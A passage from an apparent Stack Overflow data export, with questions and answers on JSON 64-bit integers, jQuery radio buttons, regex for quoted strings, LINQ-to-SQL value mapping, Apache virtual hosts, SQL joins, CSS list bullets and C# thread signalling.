easy do work with at JavaScript level.</p>\n<p>A "pure string" representation is what <a href=\"https://stackoverflow.com/a/16549441/458259\">OData specifies, for its <code>Edm.Int64</code> or <code>Edm.Decimal</code> types</a>.</p>\n<p>What the Twitter API does in this case, is to add a specific <code>".._str":</code> field in the JSON, as such:</p>\n<pre><code>{\n "id": 10765432100123456789, // for JSON compliant clients\n "id_str": "10765432100123456789", // for JavaScript\n ...\n}\n</code></pre>\n<p>I like this option very much, since it would be still compatible with int64 capable clients. In practice, such duplicated content in the JSON won't hurt much, if it is deflated/gzipped at HTTP level.</p>\n<p>Once transmitted as string, you may use libraries like <a href=\"https://github.com/rauschma/strint\" rel=\"noreferrer\">strint – a JavaScript library for string-encoded integers</a> to handle such values.</p>\n<p><strong>Update:</strong> Newer versions of JavaScript engines include a <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt\" rel=\"noreferrer\">BigInt</a> object class, which is able to handle more than 53-bit. In fact, it can be used for arbitrarily large integers, so a good fit for 64-bit integer values. But when serializing as JSON, the BigInt value <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt#use_within_json\" rel=\"noreferrer\">will be serialized as a JSON string</a> - weirdly enough, but for compatibility purposes I guess.</p>\n"
},
{
"answer_id": 62771952,
"author": "Desmond Coertzen",
"author_id": 3735736,
"author_profile": "https://Stackoverflow.com/users/3735736",
"pm_score": 0,
"selected": false,
"text": "<p>This thing happened to me. All hell broke loose when sending large integers via json into JSON.parse. I spent days trying to debug. Problem immediately solved when i transmitted the values as strings.</p>\n<p>Use\n<code>\n<code>{ "the_sequence_number": "20200707105904535" }</code>\n</code>\ninstead of\n<code>\n<code>{ "the_sequence_number": 20200707105904535 }</code>\n</code></p>\n<p>To make it worse, it would seem that where every JSON.parse is implemented, is some shared lib between Firefox, Chrome and Opera because they all behaved exactly the same. Opera error messages have Chrome URL references in it, almost like WebKit shared by browsers.</p>\n<code>\n<pre><code>console.log('event_listen[' + global_weird_counter + ']: to be sure, server responded with [' + aresponsetxt + ']');\nvar response = JSON.parse(aresponsetxt);\nconsole.log('event_listen[' + global_weird_counter + ']: after json parse: ' + JSON.stringify(response));\n</code></pre>\n</code>\n<p>The behaviour i got was the sort of stuff where pointer math went horribly bad. Ghosts were flying out of my workstation wreaking havoc in my sleep. They are all exorcised now that i switched to string.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209869",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/338/"
] |
Some of my data are 64-bit integers. I would like to send these to a JavaScript program running on a page.
However, as far as I can tell, integers in most JavaScript implementations are 32-bit signed quantities.
My two options seem to be:
1. Send the values as strings
2. Send the values as 64-bit floating point numbers
Option (1) isn't perfect, but option (2) seems far less perfect (loss of data).
How have you handled this situation?
|
This seems to be less a problem with JSON and more a problem with Javascript itself. What are you planning to do with these numbers? If it's just a magic token that you need to pass back to the website later on, by all means simply use a string containing the value. If you actually have to do arithmetic on the value, you could possibly write your own Javascript routines for 64-bit arithmetic.
One way that you could represent values in Javascript (and hence JSON) would be by splitting the numbers into two 32-bit values, eg.
```
[ 12345678, 12345678 ]
```
To split a 64-bit value into two 32-bit values, do something like this:
```
output_values[0] = (input_value >> 32) & 0xffffffff;
output_values[1] = input_value & 0xffffffff;
```
Then to recombine two 32-bit values to a 64-bit value:
```
input_value = ((int64_t) output_values[0]) << 32) | output_values[1];
```
|
209,874 |
<p>New to javascript/jquery and having a hard time with using <code>this</code> or <code>$(this)</code> to get the current object.</p>
<p>I have a table with a set of <code>radio buttons</code> on each row, each named <code>s_<rowindex></code>. None of the radio buttons are checked by default:</p>
<pre><code><tr>
<td align="left" style="width: 300px">
<div id="div_s_0">
<input type="radio" name="s_0" value="1" />Public
<input type="radio" name="s_0" value="2" />Not Public
<input type="radio" name="s_0" value="3" />Confidential
</div>
</td>
</tr>
<tr>
<td align="left" style="width: 300px">
<div id="div_s_1">
<input type="radio" name="s_1" value="1" />Public
<input type="radio" name="s_1" value="2" />Not Public
<input type="radio" name="s_1" value="3" />Confidential
</div>
</td>
</tr>
</code></pre>
<p>I'm trying to write a jQuery function to add a new row to the table whenever the user selects a radio button, but only if they are currently on the last row of the table. What I'd like to do is get the name attribute of the clicked radio button, parse it to get the row index (i.e. the part after the '_') and compare it to the number of rows in the table. If they are equal, add a new row, otherwise, do nothing.</p>
<p>My question is twofold, depending on how I should attack this:</p>
<p>1) How do I return the name attribute of a radio button, OR
2) How do I return the row index of the row I am currently in?</p>
|
[
{
"answer_id": 209926,
"author": "MDCore",
"author_id": 1896,
"author_profile": "https://Stackoverflow.com/users/1896",
"pm_score": 0,
"selected": false,
"text": "<p>Here's some untested code, off the top of my head:</p>\n\n<pre><code>$(\"#div_s_0 input[type='radio']\").onclick = function() {\n if ($(\"#div_s_0 input[type='radio']:last\").attr('checked') == 'checked') {\n /* add a new element */\n }\n}\n</code></pre>\n\n<p>What that does is attach an onclick event to each of the radio buttons in the div. The onclick will check if the last radio button in that group is checked, and if so add another element.</p>\n\n<p>Like I said it hasn't been tested yet. I'm unsure about the selector (#<code>div_s_0 ... :last</code>) so give it a run in Firebug first.</p>\n"
},
{
"answer_id": 209951,
"author": "Ryan Duffield",
"author_id": 2696,
"author_profile": "https://Stackoverflow.com/users/2696",
"pm_score": 4,
"selected": true,
"text": "<p>This will get you the index, using the HTML you've provided:</p>\n\n<pre><code>$(document).ready(function() {\n $(\"input:radio\").click(function() {\n var index = parseInt(this.name.split('_')[1])\n });\n});\n</code></pre>\n\n<p>Another thing that may help you: retrieving the number of rows in your table:</p>\n\n<pre><code>$($(\"table\").children()[0]).children().length\n</code></pre>\n\n<p>Hope this helps you on your way.</p>\n"
},
{
"answer_id": 210070,
"author": "Pseudo Masochist",
"author_id": 8529,
"author_profile": "https://Stackoverflow.com/users/8529",
"pm_score": 2,
"selected": false,
"text": "<p>For your specific questions 1 & 2, if you gave your table an ID of \"mytable\", this example should give you what you're looking for:</p>\n\n<pre><code>var rowIndex = $(\"#mytable tr\").index($(this).parents(\"tr\"));\nvar inputName = $(this).attr(\"name\");\nalert(\"Input Name: \" + inputName + \"; RowIndex: \" + rowIndex);\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209874",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23585/"
] |
New to javascript/jquery and having a hard time with using `this` or `$(this)` to get the current object.
I have a table with a set of `radio buttons` on each row, each named `s_<rowindex>`. None of the radio buttons are checked by default:
```
<tr>
<td align="left" style="width: 300px">
<div id="div_s_0">
<input type="radio" name="s_0" value="1" />Public
<input type="radio" name="s_0" value="2" />Not Public
<input type="radio" name="s_0" value="3" />Confidential
</div>
</td>
</tr>
<tr>
<td align="left" style="width: 300px">
<div id="div_s_1">
<input type="radio" name="s_1" value="1" />Public
<input type="radio" name="s_1" value="2" />Not Public
<input type="radio" name="s_1" value="3" />Confidential
</div>
</td>
</tr>
```
I'm trying to write a jQuery function to add a new row to the table whenever the user selects a radio button, but only if they are currently on the last row of the table. What I'd like to do is get the name attribute of the clicked radio button, parse it to get the row index (i.e. the part after the '\_') and compare it to the number of rows in the table. If they are equal, add a new row, otherwise, do nothing.
My question is twofold, depending on how I should attack this:
1) How do I return the name attribute of a radio button, OR
2) How do I return the row index of the row I am currently in?
|
This will get you the index, using the HTML you've provided:
```
$(document).ready(function() {
$("input:radio").click(function() {
var index = parseInt(this.name.split('_')[1])
});
});
```
Another thing that may help you: retrieving the number of rows in your table:
```
$($("table").children()[0]).children().length
```
Hope this helps you on your way.
|
209,890 |
<p>I'm looking for a regex that can pull out quoted sections in a string, both single and double quotes.</p>
<p>IE:</p>
<pre><code>"This is 'an example', \"of an input string\""
</code></pre>
<p>Matches:</p>
<ul>
<li>an example</li>
<li>of an input string</li>
</ul>
<p>I wrote up this:</p>
<pre><code> [\"|'][A-Za-z0-9\\W]+[\"|']
</code></pre>
<p>It works but does anyone see any flaws with it?</p>
<p>EDIT: The main issue I see is that it can't handle nested quotes.</p>
|
[
{
"answer_id": 209898,
"author": "Chris Bunch",
"author_id": 422,
"author_profile": "https://Stackoverflow.com/users/422",
"pm_score": 0,
"selected": false,
"text": "<p>It works but doesn't match other characters in quotes (e.g., non-alphanumeric, like binary or foreign language chars). How about this:</p>\n\n<pre><code>[\\\"']([^\\\"']*)[\\\"']\n</code></pre>\n\n<p>My C# regex is a little rusty so go easy on me if that's not exactly right :)</p>\n"
},
{
"answer_id": 209899,
"author": "Tomalak",
"author_id": 18771,
"author_profile": "https://Stackoverflow.com/users/18771",
"pm_score": 1,
"selected": false,
"text": "<p>Like that?</p>\n\n<pre><code>\"([\\\"'])(.*?)\\1\"\n</code></pre>\n\n<p>Your desired match would be in sub group 2, and the kind of quote in group one.</p>\n\n<p>The flaw in your regex is 1) the greedy \"+\" and 2) [A-Za-z0-9] is not really matching an awful lot. Many characters are not in that range.</p>\n"
},
{
"answer_id": 209931,
"author": "Bill the Lizard",
"author_id": 1288,
"author_profile": "https://Stackoverflow.com/users/1288",
"pm_score": 2,
"selected": false,
"text": "<p>How does it handle single quotes inside of double quotes (or vice versa)?</p>\n\n<pre><code>\"This is 'an example', \\\"of 'quotes within quotes'\\\"\"\n</code></pre>\n\n<p>should match</p>\n\n<ul>\n<li>an example\n<li>of 'quotes within quotes'\n</ul>\n\n<p>Use a backreference if you need to support this.</p>\n\n<pre><code>(\\\"|')[A-Za-z0-9\\\\W]+?\\1\n</code></pre>\n\n<p>EDIT: Fixed to use a reluctant quantifier.</p>\n"
},
{
"answer_id": 210131,
"author": "jfs",
"author_id": 4279,
"author_profile": "https://Stackoverflow.com/users/4279",
"pm_score": 0,
"selected": false,
"text": "<pre><code>@\"(\\\"|')(.*?)\\1\"\n</code></pre>\n"
},
{
"answer_id": 210436,
"author": "joshua.ewer",
"author_id": 28664,
"author_profile": "https://Stackoverflow.com/users/28664",
"pm_score": 0,
"selected": false,
"text": "<p>You might already have one of these, but, in case not, here's a free, open source tool I use all the time to test my regular expressions. I typically have the general idea of what the expression should look like, but need to fiddle around with some of the particulars. </p>\n\n<p><a href=\"http://renschler.net/RegexBuilder/\" rel=\"nofollow noreferrer\">http://renschler.net/RegexBuilder/</a></p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209890",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1965/"
] |
I'm looking for a regex that can pull out quoted sections in a string, both single and double quotes.
IE:
```
"This is 'an example', \"of an input string\""
```
Matches:
* an example
* of an input string
I wrote up this:
```
[\"|'][A-Za-z0-9\\W]+[\"|']
```
It works but does anyone see any flaws with it?
EDIT: The main issue I see is that it can't handle nested quotes.
|
How does it handle single quotes inside of double quotes (or vice versa)?
```
"This is 'an example', \"of 'quotes within quotes'\""
```
should match
* an example
* of 'quotes within quotes'
Use a backreference if you need to support this.
```
(\"|')[A-Za-z0-9\\W]+?\1
```
EDIT: Fixed to use a reluctant quantifier.
|
209,924 |
<p>My code for sql connection using linq is:</p>
<pre><code>var query1 = from u in dc.Usage_Computers
where u.DomainUser == s3
select u; // selects all feilds from table
GridView1.DataSource = query1;
GridView1.DataBind();
</code></pre>
<p>I have a field called "Operation" in the table "Domainuser" which has values like "1, 2, 3". When I populate these values to data grid I wanted to convert them to meaningful values like if the value of Operation is 1 then display in datagrid as "logon", if 2 then "logoff" etc...</p>
<p>How do i assign values for them after retrieving from database?</p>
|
[
{
"answer_id": 209944,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 0,
"selected": false,
"text": "<p>I've done something similar using TemplateFields. Using an ASP:Label bound to the property and adding an OnPreRender event handler for the control. In the event handler for the control I translate the text based on it's current value and set the new value:</p>\n\n<pre><code>protected void label_OnPreRender( object sender, EventArgs e )\n{\n Label l = (Label)sender;\n switch (l.Text) {\n case \"1\":\n l.Text = \"Logon\";\n break;\n ...\n default:\n break;\n }\n}\n</code></pre>\n\n<p>If the form is in edit mode, you'll need to handle it differently. You'll also probably need to add handlers for Inserting and Updating to the View control you are using to translate the data supplied by the page into its database representation.</p>\n"
},
{
"answer_id": 210003,
"author": "Brendan Kendrick",
"author_id": 13473,
"author_profile": "https://Stackoverflow.com/users/13473",
"pm_score": 2,
"selected": false,
"text": "<p>Use a template field in your gridview:</p>\n\n<pre><code><asp:GridView ID=\"gvDomain\" runat=\"server\" OnRowDataBound=\"gvDomain_RowDataBound\">\n <Columns>\n <asp:TemplateField>\n <HeaderTemplate>\n Operation\n </HeaderTemplate>\n <ItemTemplate>\n <asp:Label id=\"lblLogon\" runat=\"server\" />\n </ItemTemplate>\n </asp:TemplateField>\n </Columns>\n</asp:GridView>\n</code></pre>\n\n<p>Then use the gridviews RowDataBound event to discover the label and assign its text:</p>\n\n<pre><code>Protected Sub gvDomain_RowDataBound(ByVal sender As Object, ByVal e As System.Web.UI.WebControls.GridViewRowEventArgs) Handles gvStates.RowDataBound\n Dim lblLogon As Label = DirectCast(e.Row.FindControl(\"lblLogon\"), Label)\n Dim drv As DataRowView = DirectCast(e.Row.DataItem, DataRowView)\n\n If lblLogon IsNot Nothing Then\n Select Case drv(\"Operation\").ToString()\n Case \"1\" \n lblLogon.Text = \"Logon\"\n Break\n Case \"2\"\n lblLogon.Text = \"Logoff\"\n Break\n //etc...\n End Select\n End If\nEnd Sub\n</code></pre>\n"
},
{
"answer_id": 210051,
"author": "David Alpert",
"author_id": 8997,
"author_profile": "https://Stackoverflow.com/users/8997",
"pm_score": 1,
"selected": false,
"text": "<pre><code>static Func<int?, string> MapSqlIntToArbitraryLabel = (i =>\n{\n // for performance, abstract this reference \n // dictionary out to a static property\n Dictionary<int, string> labels = new Dictionary<int, string>();\n labels.Add(1, \"logon\");\n labels.Add(2, \"logoff\");\n labels.Add(...);\n\n if (i == null) throw new ArgumentNullException();\n if (i < 1 || i > labels.Count) throw new ArgumentOutOfRangeException();\n\n return labels.Where(x => x.Key == i.Value)\n .Select(x.Value)\n .Single();\n}\n</code></pre>\n\n<p>that return statement can also be expressed as:</p>\n\n<pre><code>return (from kvp in labels\n where kvp.Key == i.Value\n select kvp.Value).Single();\n</code></pre>\n\n<p>Then you can use call that function from your linq query like so:</p>\n\n<pre><code>var query1 = from u in dc.Usage_Computers \n where u.DomainUser == s3 \n select {\n Operation = MapSqlIntToArbitraryLabel(u.Operation)\n // add other properties to this anonymous type as needed\n };\n</code></pre>\n\n<p>I've tried every suggested method of fooling Linq2Sql into running my code and this method is the only one that i've found that allows me to run code as part of a deferred-execution projection.</p>\n"
},
{
"answer_id": 210056,
"author": "Amy B",
"author_id": 8155,
"author_profile": "https://Stackoverflow.com/users/8155",
"pm_score": 5,
"selected": true,
"text": "<p>This technique does not seem particularly applicable to your problem, but here it is anyway.</p>\n\n<p>You can create a SQL case statement in LinqToSql by using the C# <strong>? :</strong> operator. </p>\n\n<pre><code>var query1 =\n from u in dc.Usage_Computers\n where u.DomainUser == s3\n select new {usage = u, \n operation =\n u.DomainUser.Operation == 1 ? \"login\" :\n u.DomainUser.Operation == 2 ? \"logoff\" :\n \"something else\"\n };\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209924",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
My code for sql connection using linq is:
```
var query1 = from u in dc.Usage_Computers
where u.DomainUser == s3
select u; // selects all feilds from table
GridView1.DataSource = query1;
GridView1.DataBind();
```
I have a field called "Operation" in the table "Domainuser" which has values like "1, 2, 3". When I populate these values to data grid I wanted to convert them to meaningful values like if the value of Operation is 1 then display in datagrid as "logon", if 2 then "logoff" etc...
How do i assign values for them after retrieving from database?
|
This technique does not seem particularly applicable to your problem, but here it is anyway.
You can create a SQL case statement in LinqToSql by using the C# **? :** operator.
```
var query1 =
from u in dc.Usage_Computers
where u.DomainUser == s3
select new {usage = u,
operation =
u.DomainUser.Operation == 1 ? "login" :
u.DomainUser.Operation == 2 ? "logoff" :
"something else"
};
```
|
209,935 |
<p>I'm trying to set up a virtual host on a new VPS using apache 2.x on a Ubuntu server.</p>
<p>When starting apache I get the error " xxx.241.214.xxx:80 has no VirtualHosts", and the url for the site still points to the default location which means my virtual host file isn't taking effect:</p>
<pre><code><VirtualHost xxx.241.214.xxx:80>
ServerName xxx.co.uk
ServerAlias www.xxx.co.uk
DocumentRoot /var/www/vhosts/xxx.co.uk/httpdocs/xxx.co.uk
</VirtualHost>
</code></pre>
<p>Please help, I'm no good at all this server config stuff.</p>
|
[
{
"answer_id": 209954,
"author": "Richard Harrison",
"author_id": 19624,
"author_profile": "https://Stackoverflow.com/users/19624",
"pm_score": 0,
"selected": false,
"text": "<p>I always use</p>\n\n<pre><code><VirtualHost *>\n</code></pre>\n\n<p>(and ISTR always having problems specifying the IP and port number, which I think is why I do it that way now).</p>\n"
},
{
"answer_id": 212176,
"author": "Rodent43",
"author_id": 28869,
"author_profile": "https://Stackoverflow.com/users/28869",
"pm_score": 1,
"selected": false,
"text": "<p>I know its been a while since you posted your question but I thought id throw in my thoughts</p>\n\n<p>We currently run a few internal sites here for different purposes, all of them listen of standard port 80 and apache is set up simply as follows</p>\n\n<pre><code>Listen 80\n\nNameVirtualHost *:80\n\n# Site 1 Comment\n\n<VirtualHost *:80>\n ServerName site1.intranet\n ServerAdmin [email protected]\n DocumentRoot /var/www/html/site1\n</VirtualHost>\n\n# Site 2 Comment\n\n<VirtualHost *:80>\n ServerName site2.intranet\n ServerAdmin [email protected]\n DocumentRoot /var/www/html/site2\n</VirtualHost>\n</code></pre>\n\n<p>Our DNS is set up to route <code>http://site1.intranet</code> etc to the IP of the apache server and the apache config does the rest.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209935",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
I'm trying to set up a virtual host on a new VPS using apache 2.x on a Ubuntu server.
When starting apache I get the error " xxx.241.214.xxx:80 has no VirtualHosts", and the url for the site still points to the default location which means my virtual host file isn't taking effect:
```
<VirtualHost xxx.241.214.xxx:80>
ServerName xxx.co.uk
ServerAlias www.xxx.co.uk
DocumentRoot /var/www/vhosts/xxx.co.uk/httpdocs/xxx.co.uk
</VirtualHost>
```
Please help, I'm no good at all this server config stuff.
|
I know its been a while since you posted your question but I thought id throw in my thoughts
We currently run a few internal sites here for different purposes, all of them listen of standard port 80 and apache is set up simply as follows
```
Listen 80
NameVirtualHost *:80
# Site 1 Comment
<VirtualHost *:80>
ServerName site1.intranet
ServerAdmin [email protected]
DocumentRoot /var/www/html/site1
</VirtualHost>
# Site 2 Comment
<VirtualHost *:80>
ServerName site2.intranet
ServerAdmin [email protected]
DocumentRoot /var/www/html/site2
</VirtualHost>
```
Our DNS is set up to route `http://site1.intranet` etc to the IP of the apache server and the apache config does the rest.
|
209,963 |
<p>I've got a table of hardware and a table of incidents. Each hardware has a unique tag, and the incidents are tied to the tag.</p>
<p>How can I select all the hardware which has at least one incident listed as unresolved?</p>
<p>I can't just do a join, because then if one piece of hardware had multiple unresolved issues, it would show up multiple times.</p>
|
[
{
"answer_id": 209967,
"author": "Richard Harrison",
"author_id": 19624,
"author_profile": "https://Stackoverflow.com/users/19624",
"pm_score": 4,
"selected": true,
"text": "<pre><code>select distinct(hardware_name) \nfrom hardware,incidents \nwhere hardware.id = incidents.hardware_id and incidents.resolved=0;\n</code></pre>\n"
},
{
"answer_id": 209984,
"author": "Eric Hogue",
"author_id": 4137,
"author_profile": "https://Stackoverflow.com/users/4137",
"pm_score": 2,
"selected": false,
"text": "<p>Something like this should do it: </p>\n\n<pre><code>Select A.HardwareID A.HadwareName, B.UnresolvedCount\nFrom (Hardware A) \nInner Join \n(\n Select HardwareID, Count(1) As UnresolvedCount \n From Incidents \n Where Resolved = 0 \n Group By HardwareID\n) As B On A.HardwareID = B.HardwareID\n</code></pre>\n"
},
{
"answer_id": 44405135,
"author": "Passionate Coder",
"author_id": 5817313,
"author_profile": "https://Stackoverflow.com/users/5817313",
"pm_score": 0,
"selected": false,
"text": "<p>This can also work</p>\n\n<pre><code>SELECT hd.name, inc.issue, FROM hardware hd INNER JOIN inc ON hd.tag = inc.tag AND inc.issue = 'unresolved' group by hd.name \n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209963",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18210/"
] |
I've got a table of hardware and a table of incidents. Each hardware has a unique tag, and the incidents are tied to the tag.
How can I select all the hardware which has at least one incident listed as unresolved?
I can't just do a join, because then if one piece of hardware had multiple unresolved issues, it would show up multiple times.
|
```
select distinct(hardware_name)
from hardware,incidents
where hardware.id = incidents.hardware_id and incidents.resolved=0;
```
|
209,980 |
<p>I have tried</p>
<pre><code><ul id="contact_list">
<li id="phone">Local 604-555-5555</li>
<li id="i18l_phone">Toll-Free 1-800-555-5555</li>
</ul>
</code></pre>
<p>with</p>
<pre><code>#contact_list
{
list-style: disc none inside;
}
#contact_list #phone
{
list-style-image: url(images/small_wood_phone.png);
}
#contact_list #i18l_phone
{
list-style-image: url(images/i18l_wood_phone.png);
}
</code></pre>
<p>to no avail. Only a disc appears. If I want each individual list item to have it's own bullet, how can I accomplish this with css, <strong><em>without using background images</em></strong>.</p>
<p>Edit : I have discovered that, despite what firebug tells me, the list-style-image rule is being overridden somehow. If I inline the rule, like so:</p>
<pre><code> <li id="phone" style="list-style-image: url(images/small_wood_phone.png);">Local 604-555-5555</li>
</code></pre>
<p>then all is well. Since I have no other rules in the test case I'm running that contains ul or li in the selector, I'm not sure why inlining gives a different result.</p>
|
[
{
"answer_id": 209994,
"author": "Eric Wendelin",
"author_id": 25066,
"author_profile": "https://Stackoverflow.com/users/25066",
"pm_score": 1,
"selected": false,
"text": "<p>Could you try adding list-style-type: none; to #contact-list? Perhaps even instead of your list-style: declaration.</p>\n"
},
{
"answer_id": 209997,
"author": "Remy Sharp",
"author_id": 22617,
"author_profile": "https://Stackoverflow.com/users/22617",
"pm_score": 2,
"selected": false,
"text": "<p>I would suggest doing it slightly differently, in the CSS - i.e.:</p>\n\n<pre><code>#contact_list\n{\n list-style: none;\n}\n\n#contact_list li {\n padding-left: 20px; /* assumes the icons are 16px */\n}\n\n#contact_list #phone\n{\n background: url(images/small_wood_phone.png) no-repeat top left;\n}\n\n#contact_list #i18l_phone\n{\n background: url(images/i18l_wood_phone.png) no-repeat top left;\n}\n</code></pre>\n"
},
{
"answer_id": 209998,
"author": "Marius",
"author_id": 1585,
"author_profile": "https://Stackoverflow.com/users/1585",
"pm_score": -1,
"selected": false,
"text": "<pre><code>#contact_list\n{\n list-style: disc none inside;\n}\n\n#contact_list #phone\n{\n background-image: url(images/small_wood_phone.png) no-repeat top left;\n padding-left: <image width>px;\n}\n\n#contact_list #i18l_phone\n{\n background-image: url(images/i18l_wood_phone.png) no-repeat top left;\n padding-left: <image width>px;\n}\n</code></pre>\n"
},
{
"answer_id": 210013,
"author": "Anne Porosoff",
"author_id": 28701,
"author_profile": "https://Stackoverflow.com/users/28701",
"pm_score": 3,
"selected": false,
"text": "<p>Try this:</p>\n\n<pre><code>#contact_list li\n{\n list-style: none;\n}\n\n#contact_list li#phone\n{\n list-style-image: url('images/small_wood_phone.png');\n}\n\n#contact_list li#i18l_phone\n{\n list-style-image: url('images/i18l_wood_phone.png');\n}\n</code></pre>\n"
},
{
"answer_id": 210014,
"author": "Vincent Ramdhanie",
"author_id": 27439,
"author_profile": "https://Stackoverflow.com/users/27439",
"pm_score": 2,
"selected": false,
"text": "<p>The thing is, I tried your code it it works. The only time it doesn't is if the images are not present. Maybe you need to check to see that the images you specify in the CSS are actually in the folder images or not misspelled.</p>\n\n<p>NOTE: IN both firefox and ie.</p>\n"
},
{
"answer_id": 210033,
"author": "hugoware",
"author_id": 17091,
"author_profile": "https://Stackoverflow.com/users/17091",
"pm_score": 2,
"selected": false,
"text": "<p>You might double check that those images are where you think they are. This example works fine unless the images are missing.</p>\n"
},
{
"answer_id": 210110,
"author": "Russell Leggett",
"author_id": 2828,
"author_profile": "https://Stackoverflow.com/users/2828",
"pm_score": 3,
"selected": false,
"text": "<p>I'm not sure if this is your problem, but you're using relative links to your images. When you use relative links in css, it is relative to the css file, but if it is inlined, it will be relative to the html page.</p>\n"
},
{
"answer_id": 210174,
"author": "Eric Wendelin",
"author_id": 25066,
"author_profile": "https://Stackoverflow.com/users/25066",
"pm_score": 1,
"selected": false,
"text": "<p>It pains me to suggest it, but have you tried the !important flag? Also, does it behave the same in other browsers? What if this is something you have in your Firefox userChrome.css file?</p>\n"
},
{
"answer_id": 210194,
"author": "James Anderson",
"author_id": 27632,
"author_profile": "https://Stackoverflow.com/users/27632",
"pm_score": 0,
"selected": false,
"text": "<p>You could try adding !important after the list-style-image property, which would prevent it from being overridden.</p>\n"
},
{
"answer_id": 210232,
"author": "Dustman",
"author_id": 16398,
"author_profile": "https://Stackoverflow.com/users/16398",
"pm_score": 2,
"selected": false,
"text": "<p>I never would have thought. If I quote the url, like so:</p>\n\n<pre><code>#contact_list #phone\n{\n list-style-image: url(\"/images/small_wood_phone.png\");\n}\n</code></pre>\n\n<p>it starts working. I unquote it, and it stops. I thought that's not supposed to make a difference.</p>\n\n<p>Thanks for your help, everyone.</p>\n"
},
{
"answer_id": 210533,
"author": "flamingLogos",
"author_id": 8161,
"author_profile": "https://Stackoverflow.com/users/8161",
"pm_score": 3,
"selected": true,
"text": "<p>First determine whether you are in \"quirks\" mode or not, because for many CSS properties it makes a difference.</p>\n\n<p>Secondly, the W3c <a href=\"http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-image\" rel=\"nofollow noreferrer\">specifies</a> that the URL should be in double quotes (although I don't use the quotes, either). Go with the spec to save yourself trouble down the line. </p>\n\n<p>If you are specifying \"strict\" in your DOCTYPE, then the browser may require the double quotes, per the standard.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209980",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16398/"
] |
I have tried
```
<ul id="contact_list">
<li id="phone">Local 604-555-5555</li>
<li id="i18l_phone">Toll-Free 1-800-555-5555</li>
</ul>
```
with
```
#contact_list
{
list-style: disc none inside;
}
#contact_list #phone
{
list-style-image: url(images/small_wood_phone.png);
}
#contact_list #i18l_phone
{
list-style-image: url(images/i18l_wood_phone.png);
}
```
to no avail. Only a disc appears. If I want each individual list item to have it's own bullet, how can I accomplish this with css, ***without using background images***.
Edit : I have discovered that, despite what firebug tells me, the list-style-image rule is being overridden somehow. If I inline the rule, like so:
```
<li id="phone" style="list-style-image: url(images/small_wood_phone.png);">Local 604-555-5555</li>
```
then all is well. Since I have no other rules in the test case I'm running that contains ul or li in the selector, I'm not sure why inlining gives a different result.
|
First determine whether you are in "quirks" mode or not, because for many CSS properties it makes a difference.
Secondly, the W3c [specifies](http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-image) that the URL should be in double quotes (although I don't use the quotes, either). Go with the spec to save yourself trouble down the line.
If you are specifying "strict" in your DOCTYPE, then the browser may require the double quotes, per the standard.
|
210,020 |
<p>I have multiple threads (C# application running on IIS) running that all need to communicate with the same MQ backend. To minimize network traffic, I need to only send a backend request when there is work to be done. There will be one thread to monitor if there is work to be done, and it needs to notify the other threads that they should also begin processing. The current solution involves the monitor thread setting a global variable and having the other threads loop and check that, ie in the monitor thread:</p>
<pre><code>CheckIfWorkAvailable() {
while(true) {
if (queue.Empty != true) {
workToBeDone = true;
}
}//end while loop
}
</code></pre>
<p>and then in the worker threads:</p>
<pre><code>DoWork() {
while(true) {
if (workToBeDone == true) {
//do work...
}
else {
Thread.Sleep(x seconds)
}
}//end while loop
}
</code></pre>
<p>Can the monitor thread notify the worker threads when there is work to do instead of having them just loop and sleep? The worker threads also set a counter indicating they are working and the decrement it when their work is done so the workToBeDone flag can be set to false.</p>
|
[
{
"answer_id": 210031,
"author": "Kent Boogaart",
"author_id": 5380,
"author_profile": "https://Stackoverflow.com/users/5380",
"pm_score": 3,
"selected": true,
"text": "<p>Check out <a href=\"http://msdn.microsoft.com/en-us/library/system.threading.waithandle.aspx\" rel=\"nofollow noreferrer\">WaitHandle</a> and its descending classes. <a href=\"http://msdn.microsoft.com/en-us/library/system.threading.eventwaithandle.aspx\" rel=\"nofollow noreferrer\">EventWaitHandle</a> may suit your needs.</p>\n"
},
{
"answer_id": 210055,
"author": "fatbuddha",
"author_id": 28034,
"author_profile": "https://Stackoverflow.com/users/28034",
"pm_score": -1,
"selected": false,
"text": "<p><a href=\"http://msdn.microsoft.com/en-us/library/yy12yx1f(VS.80).aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/yy12yx1f(VS.80).aspx</a></p>\n\n<p>You can use AutoReset Events</p>\n"
},
{
"answer_id": 210059,
"author": "smaclell",
"author_id": 22914,
"author_profile": "https://Stackoverflow.com/users/22914",
"pm_score": 1,
"selected": false,
"text": "<p>In your scenario it may also be possible to directly use the <a href=\"http://msdn.microsoft.com/en-us/library/system.threading.threadpool.aspx\" rel=\"nofollow noreferrer\">ThreadPool</a> class. This means that you do not need to setup the threads you will be consuming and it also allows you to setup the threads based on work to be completed.</p>\n\n<p>If you are into using CTPs in your projects you might want to check out the <a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyId=348F73FD-593D-4B3C-B055-694C50D2B0F3&displaylang=en\" rel=\"nofollow noreferrer\">TPL</a> as it some more advanced synchronization and tasking features.</p>\n"
},
{
"answer_id": 210060,
"author": "Jon Skeet",
"author_id": 22656,
"author_profile": "https://Stackoverflow.com/users/22656",
"pm_score": 2,
"selected": false,
